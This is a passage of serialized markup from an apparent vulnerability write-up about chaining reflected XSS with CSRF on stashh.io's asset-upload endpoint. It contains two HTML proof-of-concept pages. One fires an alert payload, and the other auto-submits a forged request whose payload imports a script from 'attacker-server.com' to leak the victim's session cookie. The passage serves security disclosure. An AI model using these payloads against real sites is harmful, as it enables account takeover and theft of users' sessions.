value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[45480],{"type":25,"tag":264,"props":45481,"children":45482},{"__ignoreMap":7},[45483,45500,45517,45551,45637,45694,45893,45934,45950,45966,45973,45988,45995,46007,46066,46073,46136,46165,46202,46209,46247,46260,46267,46282],{"type":25,"tag":271,"props":45484,"children":45485},{"class":13593,"line":13594},[45486,45491,45496],{"type":25,"tag":271,"props":45487,"children":45489},{"style":45488},"--shiki-default:#808080",[45490],{"type":30,"value":14307},{"type":25,"tag":271,"props":45492,"children":45493},{"style":14289},[45494],{"type":30,"value":45495},"html",{"type":25,"tag":271,"props":45497,"children":45498},{"style":45488},[45499],{"type":30,"value":14448},{"type":25,"tag":271,"props":45501,"children":45502},{"class":13593,"line":11641},[45503,45508,45513],{"type":25,"tag":271,"props":45504,"children":45505},{"style":45488},[45506],{"type":30,"value":45507},"  \u003C",{"type":25,"tag":271,"props":45509,"children":45510},{"style":14289},[45511],{"type":30,"value":45512},"body",{"type":25,"tag":271,"props":45514,"children":45515},{"style":45488},[45516],{"type":30,"value":14448},{"type":25,"tag":271,"props":45518,"children":45519},{"class":13593,"line":14354},[45520,45524,45529,45533,45538,45543,45547],{"type":25,"tag":271,"props":45521,"children":45522},{"style":45488},[45523],{"type":30,"value":45507},{"type":25,"tag":271,"props":45525,"children":45526},{"style":14289},[45527],{"type":30,"value":45528},"script",{"type":25,"tag":271,"props":45530,"children":45531},{"style":45488},[45532],{"type":30,"value":23586},{"type":25,"tag":271,"props":45534,"children":45535},{"style":13625},[45536],{"type":30,"value":45537},"history.pushState('', '', '/')",{"type":25,"tag":271,"props":45539,"children":45540},{"style":45488},[45541],{"type":30,"value":45542},"\u003C/",{"type":25,"tag":271,"props":45544,"children":45545},{"style":14289},[45546],{"type":30,"value":45528},{"type":25,"tag":271,"props":45548,"children":45549},{"style":45488},[45550],{"type":30,"value":14448},{"type":25,"tag":271,"props":45552,"children":45553},{"class":13593,"line":14391},[45554,45559,45564,45569,45573,45578,45583,45587,45592,45596,45600,45605,45610,45614,45619,45624,45628,45633],{"type":25,"tag":271,"props":45555,"children":45556},{"style":45488},[45557],{"type":30,"value":45558},"    \u003C",{"type":25,"tag":271,"props":45560,"children":45561},{"style":14289},[45562],{"type":30,"value":45563},"form",{"type":25,"tag":271,"props":45565,"children":45566},{"style":13598},[45567],{"type":30,"value":45568}," id",{"type":25,"tag":271,"props":45570,"children":45571},{"style":13603},[45572],{"type":30,"value":1065},{"type":25,"tag":271,"props":45574,"children":45575},{"style":17388},[45576],{"type":30,"value":45577},"\"form123\"",{"type":25,"tag":271,"props":45579,"children":45580},{"style":13598},[45581],{"type":30,"value":45582}," action",{"type":25,"tag":271,"props":45584,"children":45585},{"style":13603},[45586],{"type":30,"value":1065},{"type":25,"tag":271,"props":45588,"children":45589},{"style":17388},[45590],{"type":30,"value":45591},"\"https://stashh.io/upload_asset\"",{"type":25,"tag":271,"props":45593,"children":45594},{"style":13598},[45595],{"type":30,"value":30232},{"type":25,"tag":271,"props":45597,"children":45598},{"style":13603},[45599],{"type":30,"value":1065},{"type":25,"tag":271,"props":45601,"children":45602},{"style":17388},[45603],{"type":30,"value":45604},"\"POST\"",{"type":25,"tag":271,"props":45606,"children":45607},{"style":13598},[45608],{"type":30,"value":45609}," enctype",{"type":25,"tag":271,"props":45611,"children":45612},{"style":13603},[45613],{"type":30,"value":1065},{"type":25,"tag":271,"props":45615,"children":45616},{"style":17388},[45617],{"type":30,"value":45618},"\"multipart/form-data\"",{"type":25,"tag":271,"props":45620,"children":45621},{"style":13598},[45622],{"type":30,"value":45623}," value",{"type":25,"tag":271,"props":45625,"children":45626},{"style":13603},[45627],{"type":30,"value":1065},{"type":25,"tag":271,"props":45629,"children":45630},{"style":17388},[45631],{"type":30,"value":45632},"\"asd\"",{"type":25,"tag":271,"props":45634,"children":45635},{"style":45488},[45636],{"type":30,"value":14448},{"type":25,"tag":271,"props":45638,"children":45639},{"class":13593,"line":14400},[45640,45645,45649,45654,45658,45663,45668,45672,45677,45681,45685,45690],{"type":25,"tag":271,"props":45641,"children":45642},{"style":45488},[45643],{"type":30,"value":45644},"     \u003C",{"type":25,"tag":271,"props":45646,"children":45647},{"style":14289},[45648],{"type":30,"value":13871},{"type":25,"tag":271,"props":45650,"children":45651},{"style":13598},[45652],{"type":30,"value":45653}," type",{"type":25,"tag":271,"props":45655,"children":45656},{"style":13603},[45657],{"type":30,"value":1065},{"type":25,"tag":271,"props":45659,"children":45660},{"style":17388},[45661],{"type":30,"value":45662},"\"file\"",{"type":25,"tag":271,"props":45664,"children":45665},{"style":13598},[45666],{"type":30,"value":45667}," name",{"type":25,"tag":271,"props":45669,"children":45670},{"style":13603},[45671],{"type":30,"value":1065},{"type":25,"tag":271,"props":45673,"children":45674},{"style":17388},[45675],{"type":30,"value":45676},"\"data\"",{"type":25,"tag":271,"props":45678,"children":45679},{"style":13598},[45680],{"type":30,"value":45568},{"type":25,"tag":271,"props":45682,"children":45683},{"style":13603},[45684],{"type":30,"value":1065},{"type":25,"tag":271,"props":45686,"children":45687},{"style":17388},[45688],{"type":30,"value":45689},"\"file123\"",{"type":25,"tag":271,"props":45691,"children":45692},{"style":45488},[45693],{"type":30,"value":14448},{"type":25,"tag":271,"props":45695,"children":45696},{"class":13593,"line":16406},[45697,45702,45706,45710,45714,45719,45723,45727,45732,45736,45740,45744,45749,45754,45759,45764,45769,45773,45778,45783,45788,45792,45797,45802,45806,45811,45816,45821,45826,45831,45836,45841,45845,45850,45855,45860,45865,45870,45874,45879,45884,45888],{"type":25,"tag":271,"props":45698,"children":45699},{"style":45488},[45700],{"type":30,"value":45701},"      \u003C",{"type":25,"tag":271,"props":45703,"children":45704},{"style":14289},[45705],{"type":30,"value":13871},{"type":25,"tag":271,"props":45707,"children":45708},{"style":13598},[45709],{"type":30,"value":45653},{"type":25,"tag":271,"props":45711,"children":45712},{"style":13603},[45713],{"type":30,"value":1065},{"type":25,"tag":271,"props":45715,"children":45716},{"style":17388},[45717],{"type":30,"value":45718},"\"hidden\"",{"type":25,"tag":271,"props":45720,"children":45721},{"style":13598},[45722],{"type":30,"value":45667},{"type":25,"tag":271,"props":45724,"children":45725},{"style":13603},[45726],{"type":30,"value":1065},{"type":25,"tag":271,"props":45728,"children":45729},{"style":17388},[45730],{"type":30,"value":45731},"\"config\"",{"type":25,"tag":271,"props":45733,"children":45734},{"style":13598},[45735],{"type":30,"value":45623},{"type":25,"tag":271,"props":45737,"children":45738},{"style":13603},[45739],{"type":30,"value":1065},{"type":25,"tag":271,"props":45741,"children":45742},{"style":17388},[45743],{"type":30,"value":6294},{"type":25,"tag":271,"props":45745,"children":45746},{"style":14289},[45747],{"type":30,"value":45748},"{"",{"type":25,"tag":271,"props":45750,"children":45751},{"style":17388},[45752],{"type":30,"value":45753},"address",{"type":25,"tag":271,"props":45755,"children":45756},{"style":14289},[45757],{"type":30,"value":45758},"":"",{"type":25,"tag":271,"props":45760,"children":45761},{"style":17388},[45762],{"type":30,"value":45763},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":25,"tag":271,"props":45765,"children":45766},{"style":14289},[45767],{"type":30,"value":45768},"<",{"type":25,"tag":271,"props":45770,"children":45771},{"style":17388},[45772],{"type":30,"value":698},{"type":25,"tag":271,"props":45774,"children":45775},{"style":14289},[45776],{"type":30,"value":45777},"/",{"type":25,"tag":271,"props":45779,"children":45780},{"style":17388},[45781],{"type":30,"value":45782},"src",{"type":25,"tag":271,"props":45784,"children":45785},{"style":14289},[45786],{"type":30,"value":45787},"=",{"type":25,"tag":271,"props":45789,"children":45790},{"style":17388},[45791],{"type":30,"value":1136},{"type":25,"tag":271,"props":45793,"children":45794},{"style":14289},[45795],{"type":30,"value":45796}," ",{"type":25,"tag":271,"props":45798,"children":45799},{"style":17388},[45800],{"type":30,"value":45801},"onerror",{"type":25,"tag":271,"props":45803,"children":45804},{"style":14289},[45805],{"type":30,"value":45787},{"type":25,"tag":271,"props":45807,"children":45808},{"style":17388},[45809],{"type":30,"value":45810},"alert",{"type":25,"tag":271,"props":45812,"children":45813},{"style":14289},[45814],{"type":30,"value":45815},"(",{"type":25,"tag":271,"props":45817,"children":45818},{"style":17388},[45819],{"type":30,"value":45820},"document",{"type":25,"tag":271,"props":45822,"children":45823},{"style":14289},[45824],{"type":30,"value":45825},".",{"type":25,"tag":271,"props":45827,"children":45828},{"style":17388},[45829],{"type":30,"value":45830},"domain",{"type":25,"tag":271,"props":45832,"children":45833},{"style":14289},[45834],{"type":30,"value":45835},")>","",{"type":25,"tag":271,"props":45837,"children":45838},{"style":17388},[45839],{"type":30,"value":45840},"to",{"type":25,"tag":271,"props":45842,"children":45843},{"style":14289},[45844],{"type":30,"value":45758},{"type":25,"tag":271,"props":45846,"children":45847},{"style":17388},[45848],{"type":30,"value":45849},"profile",{"type":25,"tag":271,"props":45851,"children":45852},{"style":14289},[45853],{"type":30,"value":45854},"-",{"type":25,"tag":271,"props":45856,"children":45857},{"style":17388},[45858],{"type":30,"value":45859},"assets",{"type":25,"tag":271,"props":45861,"children":45862},{"style":14289},[45863],{"type":30,"value":45864},"","",{"type":25,"tag":271,"props":45866,"children":45867},{"style":17388},[45868],{"type":30,"value":45869},"type",{"type":25,"tag":271,"props":45871,"children":45872},{"style":14289},[45873],{"type":30,"value":45758},{"type":25,"tag":271,"props":45875,"children":45876},{"style":17388},[45877],{"type":30,"value":45878},"icon",{"type":25,"tag":271,"props":45880,"children":45881},{"style":14289},[45882],{"type":30,"value":45883},""}",{"type":25,"tag":271,"props":45885,"children":45886},{"style":17388},[45887],{"type":30,"value":6294},{"type":25,"tag":271,"props":45889,"children":45890},{"style":45488},[45891],{"type":30,"value":45892}," />\n",{"type":25,"tag":271,"props":45894,"children":45895},{"class":13593,"line":16434},[45896,45900,45904,45908,45912,45917,45921,45925,45930],{"type":25,"tag":271,"props":45897,"children":45898},{"style":45488},[45899],{"type":30,"value":45701},{"type":25,"tag":271,"props":45901,"children":45902},{"style":14289},[45903],{"type":30,"value":13871},{"type":25,"tag":271,"props":45905,"children":45906},{"style":13598},[45907],{"type":30,"value":45653},{"type":25,"tag":271,"props":45909,"children":45910},{"style":13603},[45911],{"type":30,"value":1065},{"type":25,"tag":271,"props":45913,"children":45914},{"style":17388},[45915],{"type":30,"value":45916},"\"submit\"",{"type":25,"tag":271,"props":45918,"children":45919},{"style":13598},[45920],{"type":30,"value":45623},{"type":25,"tag":271,"props":45922,"children":45923},{"style":13603},[45924],{"type":30,"value":1065},{"type":25,"tag":271,"props":45926,"children":45927},{"style":17388},[45928],{"type":30,"value":45929},"\"Submit request\"",{"type":25,"tag":271,"props":45931,"children":45932},{"style":45488},[45933],{"type":30,"value":45892},{"type":25,"tag":271,"props":45935,"children":45936},{"class":13593,"line":16447},[45937,45942,45946],{"type":25,"tag":271,"props":45938,"children":45939},{"style":45488},[45940],{"type":30,"value":45941},"    \u003C/",{"type":25,"tag":271,"props":45943,"children":45944},{"style":14289},[45945],{"type":30,"value":45563},{"type":25,"tag":271,"props":45947,"children":45948},{"style":45488},[45949],{"type":30,"value":14448},{"type":25,"tag":271,"props":45951,"children":45952},{"class":13593,"line":16465},[45953,45958,45962],{"type":25,"tag":271,"props":45954,"children":45955},{"style":45488},[45956],{"type":30,"value":45957},"  \u003C/",{"type":25,"tag":271,"props":45959,"children":45960},{"style":14289},[45961],{"type":30,"value":45512},{"type":25,"tag":271,"props":45963,"children":45964},{"style":45488},[45965],{"type":30,"value":14448},{"type":25,"tag":271,"props":45967,"children":45968},{"class":13593,"line":16486},[45969],{"type":25,"tag":271,"props":45970,"children":45971},{"emptyLinePlaceholder":18},[45972],{"type":30,"value":16829},{"type":25,"tag":271,"props":45974,"children":45975},{"class":13593,"line":16495},[45976,45980,45984],{"type":25,"tag":271,"props":45977,"children":45978},{"style":45488},[45979],{"type":30,"value":45507},{"type":25,"tag":271,"props":45981,"children":45982},{"style":14289},[45983],{"type":30,"value":45528},{"type":25,"tag":271,"props":45985,"children":45986},{"style":45488},[45987],{"type":30,"value":14448},{"type":25,"tag":271,"props":45989,"children":45990},{"class":13593,"line":16744},[45991],{"type":25,"tag":271,"props":45992,"children":45993},{"emptyLinePlaceholder":18},[45994],{"type":30,"value":16829},{"type":25,"tag":271,"props":45996,"children":45997},{"class":13593,"line":16761},[45998,46003],{"type":25,"tag":271,"props":45999,"children":46000},{"style":13625},[46001],{"type":30,"value":46002},"    (async ()=>",{"type":25,"tag":271,"props":46004,"children":46005},{"style":14289},[46006],{"type":30,"value":24005},{"type":25,"tag":271,"props":46008,"children":46009},{"class":13593,"line":16778},[46010,46015,46020,46025,46030,46034,46038,46043,46047,46052,46057,46062],{"type":25,"tag":271,"props":46011,"children":46012},{"style":13598},[46013],{"type":30,"value":46014},"        const",{"type":25,"tag":271,"props":46016,"children":46017},{"style":13598},[46018],{"type":30,"value":46019}," blob",{"type":25,"tag":271,"props":46021,"children":46022},{"style":13603},[46023],{"type":30,"value":46024}," = ",{"type":25,"tag":271,"props":46026,"children":46027},{"style":16171},[46028],{"type":30,"value":46029},"await",{"type":25,"tag":271,"props":46031,"children":46032},{"style":13603},[46033],{"type":30,"value":16213},{"type":25,"tag":271,"props":46035,"children":46036},{"style":16171},[46037],{"type":30,"value":46029},{"type":25,"tag":271,"props":46039,"children":46040},{"style":13620},[46041],{"type":30,"value":46042}," fetch",{"type":25,"tag":271,"props":46044,"children":46045},{"style":13603},[46046],{"type":30,"value":394},{"type":25,"tag":271,"props":46048,"children":46049},{"style":17388},[46050],{"type":30,"value":46051},"\"/sapo.png\"",{"type":25,"tag":271,"props":46053,"children":46054},{"style":13603},[46055],{"type":30,"value":46056},")).",{"type":25,"tag":271,"props":46058,"children":46059},{"style":13620},[46060],{"type":30,"value":46061},"blob",{"type":25,"tag":271,"props":46063,"children":46064},{"style":13603},[46065],{"type":30,"value":20857},{"type":25,"tag":271,"props":46067,"children":46068},{"class":13593,"line":16791},[46069],{"type":25,"tag":271,"props":46070,"children":46071},{"emptyLinePlaceholder":18},[46072],{"type":30,"value":16829},{"type":25,"tag":271,"props":46074,"children":46075},{"class":13593,"line":16800},[46076,46080,46085,46089,46093,46098,46103,46107,46111,46116,46121,46126,46131],{"type":25,"tag":271,"props":46077,"children":46078},{"style":13598},[46079],{"type":30,"value":16208},{"type":25,"tag":271,"props":46081,"children":46082},{"style":13598},[46083],{"type":30,"value":46084}," f",{"type":25,"tag":271,"props":46086,"children":46087},{"style":13603},[46088],{"type":30,"value":46024},{"type":25,"tag":271,"props":46090,"children":46091},{"style":14289},[46092],{"type":30,"value":28244},{"type":25,"tag":271,"props":46094,"children":46095},{"style":13620},[46096],{"type":30,"value":46097}," File",{"type":25,"tag":271,"props":46099,"children":46100},{"style":13603},[46101],{"type":30,"value":46102},"([",{"type":25,"tag":271,"props":46104,"children":46105},{"style":13598},[46106],{"type":30,"value":46061},{"type":25,"tag":271,"props":46108,"children":46109},{"style":13603},[46110],{"type":30,"value":36160},{"type":25,"tag":271,"props":46112,"children":46113},{"style":17388},[46114],{"type":30,"value":46115},"'sapo.png'",{"type":25,"tag":271,"props":46117,"children":46118},{"style":13603},[46119],{"type":30,"value":46120},", {",{"type":25,"tag":271,"props":46122,"children":46123},{"style":13598},[46124],{"type":30,"value":46125},"type:",{"type":25,"tag":271,"props":46127,"children":46128},{"style":17388},[46129],{"type":30,"value":46130}," 'image/png'",{"type":25,"tag":271,"props":46132,"children":46133},{"style":13603},[46134],{"type":30,"value":46135},"})\n",{"type":25,"tag":271,"props":46137,"children":46138},{"class":13593,"line":16823},[46139,46143,46148,46152,46156,46161],{"type":25,"tag":271,"props":46140,"children":46141},{"style":13598},[46142],{"type":30,"value":46014},{"type":25,"tag":271,"props":46144,"children":46145},{"style":13598},[46146],{"type":30,"value":46147}," dataTransfer",{"type":25,"tag":271,"props":46149,"children":46150},{"style":13603},[46151],{"type":30,"value":46024},{"type":25,"tag":271,"props":46153,"children":46154},{"style":14289},[46155],{"type":30,"value":28244},{"type":25,"tag":271,"props":46157,"children":46158},{"style":13620},[46159],{"type":30,"value":46160}," DataTransfer",{"type":25,"tag":271,"props":46162,"children":46163},{"style":13603},[46164],{"type":30,"value":16820},{"type":25,"tag":271,"props":46166,"children":46167},{"class":13593,"line":16832},[46168,46173,46177,46182,46186,46190,46194,46198],{"type":25,"tag":271,"props":46169,"children":46170},{"style":13598},[46171],{"type":30,"value":46172},"        dataTransfer",{"type":25,"tag":271,"props":46174,"children":46175},{"style":13603},[46176],{"type":30,"value":1860},{"type":25,"tag":271,"props":46178,"children":46179},{"style":13598},[46180],{"type":30,"value":46181},"items",{"type":25,"tag":271,"props":46183,"children":46184},{"style":13603},[46185],{"type":30,"value":1860},{"type":25,"tag":271,"props":46187,"children":46188},{"style":13620},[46189],{"type":30,"value":22761},{"type":25,"tag":271,"props":46191,"children":46192},{"style":13603},[46193],{"type":30,"value":394},{"type":25,"tag":271,"props":46195,"children":46196},{"style":13598},[46197],{"type":30,"value":4503},{"type":25,"tag":271,"props":46199,"children":46200},{"style":13603},[46201],{"type":30,"value":13665},{"type":25,"tag":271,"props":46203,"children":46204},{"class":13593,"line":16841},[46205],{"type":25,"tag":271,"props":46206,"children":46207},{"emptyLinePlaceholder":18},[46208],{"type":30,"value":16829},{"type":25,"tag":271,"props":46210,"children":46211},{"class":13593,"line":16907},[46212,46217,46221,46226,46230,46235,46239,46243],{"type":25,"tag":271,"props":46213,"children":46214},{"style":13598},[46215],{"type":30,"value":46216},"        file123",{"type":25,"tag":271,"props":46218,"children":46219},{"style":13603},[46220],{"type":30,"value":1860},{"type":25,"tag":271,"props":46222,"children":46223},{"style":13598},[46224],{"type":30,"value":46225},"files",{"type":25,"tag":271,"props":46227,"children":46228},{"style":13603},[46229],{"type":30,"value":46024},{"type":25,"tag":271,"props":46231,"children":46232},{"style":13598},[46233],{"type":30,"value":46234},"dataTransfer",{"type":25,"tag":271,"props":46236,"children":46237},{"style":13603},[46238],{"type":30,"value":1860},{"type":25,"tag":271,"props":46240,"children":46241},{"style":13598},[46242],{"type":30,"value":46225},{"type":25,"tag":271,"props":46244,"children":46245},{"style":13603},[46246],{"type":30,"value":16165},{"type":25,"tag":271,"props":46248,"children":46249},{"class":13593,"line":16915},[46250,46255],{"type":25,"tag":271,"props":46251,"children":46252},{"style":14289},[46253],{"type":30,"value":46254},"    }",{"type":25,"tag":271,"props":46256,"children":46257},{"style":13625},[46258],{"type":30,"value":46259},")()\n",{"type":25,"tag":271,"props":46261,"children":46262},{"class":13593,"line":16945},[46263],{"type":25,"tag":271,"props":46264,"children":46265},{"emptyLinePlaceholder":18},[46266],{"type":30,"value":16829},{"type":25,"tag":271,"props":46268,"children":46269},{"class":13593,"line":16953},[46270,46274,46278],{"type":25,"tag":271,"props":46271,"children":46272},{"style":45488},[46273],{"type":30,"value":45957},{"type":25,"tag":271,"props":46275,"children":46276},{"style":14289},[46277],{"type":30,"value":45528},{"type":25,"tag":271,"props":46279,"children":46280},{"style":45488},[46281],{"type":30,"value":14448},{"type":25,"tag":271,"props":46283,"children":46284},{"class":13593,"line":16984},[46285,46289,46293],{"type":25,"tag":271,"props":46286,"children":46287},{"style":45488},[46288],{"type":30,"value":45542},{"type":25,"tag":271,"props":46290,"children":46291},{"style":14289},[46292],{"type":30,"value":45495},{"type":25,"tag":271,"props":46294,"children":46295},{"style":45488},[46296],{"type":30,"value":14448},{"type":25,"tag":26,"props":46298,"children":46299},{},[46300],{"type":30,"value":46301},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":25,"tag":26,"props":46303,"children":46304},{},[46305],{"type":30,"value":46306},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":25,"tag":26,"props":46308,"children":46309},{},[46310],{"type":30,"value":46311},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":25,"tag":26,"props":46313,"children":46314},{},[46315],{"type":30,"value":46316},"From here, we were able to steal the session cookie from local storage.",{"type":25,"tag":7764,"props":46318,"children":46320},{"className":44475,"code":46319,"language":44477,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[46321],{"type":25,"tag":264,"props":46322,"children":46323},{"__ignoreMap":7},[46324,46339,46354,46385,46460,46511,46699,46738,46753,46768,46775,46790,46797,46808,46859,46866,46921,46948,46983,46990,47025,47032,47053,47064,47071,47086],{"type":25,"tag":271,"props":46325,"children":46326},{"class":13593,"line":13594},[46327,46331,46335],{"type":25,"tag":271,"props":46328,"children":46329},{"style":45488},[46330],{"type":30,"value":14307},{"type":25,"tag":271,"props":46332,"children":46333},{"style":14289},[46334],{"type":30,"value":45495},{"type":25,"tag":271,"props":46336,"children":46337},{"style":45488},[46338],{"type":30,"value":14448},{"type":25,"tag":271,"props":46340,"children":46341},{"class":13593,"line":11641},[46342,46346,46350],{"type":25,"tag":271,"props":46343,"children":46344},{"style":45488},[46345],{"type":30,"value":45507},{"type":25,"tag":271,"props":46347,"children":46348},{"style":14289},[46349],{"type":30,"value":45512},{"type":25,"tag":271,"props":46351,"children":46352},{"style":45488},[46353],{"type":30,"value":14448},{"type":25,"tag":271,"props":46355,"children":46356},{"class":13593,"line":14354},[46357,46361,46365,46369,46373,46377,46381],{"type":25,"tag":271,"props":46358,"children":46359},{"style":45488},[46360],{"type":30,"value":45507},{"type":25,"tag":271,"props":46362,"children":46363},{"style":14289},[46364],{"type":30,"value":45528},{"type":25,"tag":271,"props":46366,"children":46367},{"style":45488},[46368],{"type":30,"value":23586},{"type":25,"tag":271,"props":46370,"children":46371},{"style":13625},[46372],{"type":30,"value":45537},{"type":25,"tag":271,"props":46374,"children":46375},{"style":45488},[46376],{"type":30,"value":45542},{"type":25,"tag":271,"props":46378,"children":46379},{"style":14289},[46380],{"type":30,"value":45528},{"type":25,"tag":271,"props":46382,"children":46383},{"style":45488},[46384],{"type":30,"value":14448},{"type":25,"tag":271,"props":46386,"children":46387},{"class":13593,"line":14391},[46388,46392,46396,46400,46404,46408,46412,46416,46420,46424,46428,46432,46436,46440,46444,46448,46452,46456],{"type":25,"tag":271,"props":46389,"children":46390},{"style":45488},[46391],{"type":30,"value":45558},{"type":25,"tag":271,"props":46393,"children":46394},{"style":14289},[46395],{"type":30,"value":45563},{"type":25,"tag":271,"props":46397,"children":46398},{"style":13598},[46399],{"type":30,"value":45568},{"type":25,"tag":271,"props":46401,"children":46402},{"style":13603},[46403],{"type":30,"value":1065},{"type":25,"tag":271,"props":46405,"children":46406},{"style":17388},[46407],{"type":30,"value":45577},{"type":25,"tag":271,"props":46409,"children":46410},{"style":13598},[46411],{"type":30,"value":45582},{"type":25,"tag":271,"props":46413,"children":46414},{"style":13603},[46415],{"type":30,"value":1065},{"type":25,"tag":271,"props":46417,"children":46418},{"style":17388},[46419],{"type":30,"value":45591},{"type":25,"tag":271,"props":46421,"children":46422},{"style":13598},[46423],{"type":30,"value":30232},{"type":25,"tag":271,"props":46425,"children":46426},{"style":13603},[46427],{"type":30,"value":1065},{"type":25,"tag":271,"props":46429,"children":46430},{"style":17388},[46431],{"type":30,"value":45604},{"type":25,"tag":271,"props":46433,"children":46434},{"style":13598},[46435],{"type":30,"value":45609},{"type":25,"tag":271,"props":46437,"children":46438},{"style":13603},[46439],{"type":30,"value":1065},{"type":25,"tag":271,"props":46441,"children":46442},{"style":17388},[46443],{"type":30,"value":45618},{"type":25,"tag":271,"props":46445,"children":46446},{"style":13598},[46447],{"type":30,"value":45623},{"type":25,"tag":271,"props":46449,"children":46450},{"style":13603},[46451],{"type":30,"value":1065},{"type":25,"tag":271,"props":46453,"children":46454},{"style":17388},[46455],{"type":30,"value":45632},{"type":25,"tag":271,"props":46457,"children":46458},{"style":45488},[46459],{"type":30,"value":14448},{"type":25,"tag":271,"props":46461,"children":46462},{"class":13593,"line":14400},[46463,46467,46471,46475,46479,46483,46487,46491,46495,46499,46503,46507],{"type":25,"tag":271,"props":46464,"children":46465},{"style":45488},[46466],{"type":30,"value":45644},{"type":25,"tag":271,"props":46468,"children":46469},{"style":14289},[46470],{"type":30,"value":13871},{"type":25,"tag":271,"props":46472,"children":46473},{"style":13598},[46474],{"type":30,"value":45653},{"type":25,"tag":271,"props":46476,"children":46477},{"style":13603},[46478],{"type":30,"value":1065},{"type":25,"tag":271,"props":46480,"children":46481},{"style":17388},[46482],{"type":30,"value":45662},{"type":25,"tag":271,"props":46484,"children":46485},{"style":13598},[46486],{"type":30,"value":45667},{"type":25,"tag":271,"props":46488,"children":46489},{"style":13603},[46490],{"type":30,"value":1065},{"type":25,"tag":271,"props":46492,"children":46493},{"style":17388},[46494],{"type":30,"value":45676},{"type":25,"tag":271,"props":46496,"children":46497},{"style":13598},[46498],{"type":30,"value":45568},{"type":25,"tag":271,"props":46500,"children":46501},{"style":13603},[46502],{"type":30,"value":1065},{"type":25,"tag":271,"props":46504,"children":46505},{"style":17388},[46506],{"type":30,"value":45689},{"type":25,"tag":271,"props":46508,"children":46509},{"style":45488},[46510],{"type":30,"value":14448},{"type":25,"tag":271,"props":46512,"children":46513},{"class":13593,"line":16406},[46514,46518,46522,46526,46530,46534,46538,46542,46546,46550,46554,46558,46563,46567,46572,46576,46581,46585,46590,46595,46599,46603,46608,46613,46618,46623,46628,46633,46637,46642,46646,46650,46655,46659,46664,46669,46674,46678,46682,46686,46691,46695],{"type":25,"tag":271,"props":46515,"children":46516},{"style":45488},[46517],{"type":30,"value":45701},{"type":25,"tag":271,"props":46519,"children":46520},{"style":14289},[46521],{"type":30,"value":13871},{"type":25,"tag":271,"props":46523,"children":46524},{"style":13598},[46525],{"type":30,"value":45653},{"type":25,"tag":271,"props":46527,"children":46528},{"style":13603},[46529],{"type":30,"value":1065},{"type":25,"tag":271,"props":46531,"children":46532},{"style":17388},[46533],{"type":30,"value":45718},{"type":25,"tag":271,"props":46535,"children":46536},{"style":13598},[46537],{"type":30,"value":45667},{"type":25,"tag":271,"props":46539,"children":46540},{"style":13603},[46541],{"type":30,"value":1065},{"type":25,"tag":271,"props":46543,"children":46544},{"style":17388},[46545],{"type":30,"value":45731},{"type":25,"tag":271,"props":46547,"children":46548},{"style":13598},[46549],{"type":30,"value":45623},{"type":25,"tag":271,"props":46551,"children":46552},{"style":13603},[46553],{"type":30,"value":1065},{"type":25,"tag":271,"props":46555,"children":46556},{"style":17388},[46557],{"type":30,"value":6294},{"type":25,"tag":271,"props":46559,"children":46560},{"style":14289},[46561],{"type":30,"value":46562},"{"",{"type":25,"tag":271,"props":46564,"children":46565},{"style":17388},[46566],{"type":30,"value":45753},{"type":25,"tag":271,"props":46568,"children":46569},{"style":14289},[46570],{"type":30,"value":46571},"":"<",{"type":25,"tag":271,"props":46573,"children":46574},{"style":17388},[46575],{"type":30,"value":698},{"type":25,"tag":271,"props":46577,"children":46578},{"style":14289},[46579],{"type":30,"value":46580},"/",{"type":25,"tag":271,"props":46582,"children":46583},{"style":17388},[46584],{"type":30,"value":45782},{"type":25,"tag":271,"props":46586,"children":46587},{"style":14289},[46588],{"type":30,"value":46589},"=",{"type":25,"tag":271,"props":46591,"children":46592},{"style":17388},[46593],{"type":30,"value":46594},"x onerror",{"type":25,"tag":271,"props":46596,"children":46597},{"style":14289},[46598],{"type":30,"value":46589},{"type":25,"tag":271,"props":46600,"children":46601},{"style":17388},[46602],{"type":30,"value":32604},{"type":25,"tag":271,"props":46604,"children":46605},{"style":14289},[46606],{"type":30,"value":46607},"(`",{"type":25,"tag":271,"props":46609,"children":46610},{"style":17388},[46611],{"type":30,"value":46612},"https",{"type":25,"tag":271,"props":46614,"children":46615},{"style":14289},[46616],{"type":30,"value":46617},"://",{"type":25,"tag":271,"props":46619,"children":46620},{"style":17388},[46621],{"type":30,"value":46622},"attacker-server",{"type":25,"tag":271,"props":46624,"children":46625},{"style":14289},[46626],{"type":30,"value":46627},".",{"type":25,"tag":271,"props":46629,"children":46630},{"style":17388},[46631],{"type":30,"value":46632},"com",{"type":25,"tag":271,"props":46634,"children":46635},{"style":14289},[46636],{"type":30,"value":46580},{"type":25,"tag":271,"props":46638,"children":46639},{"style":17388},[46640],{"type":30,"value":46641},"leak",{"type":25,"ta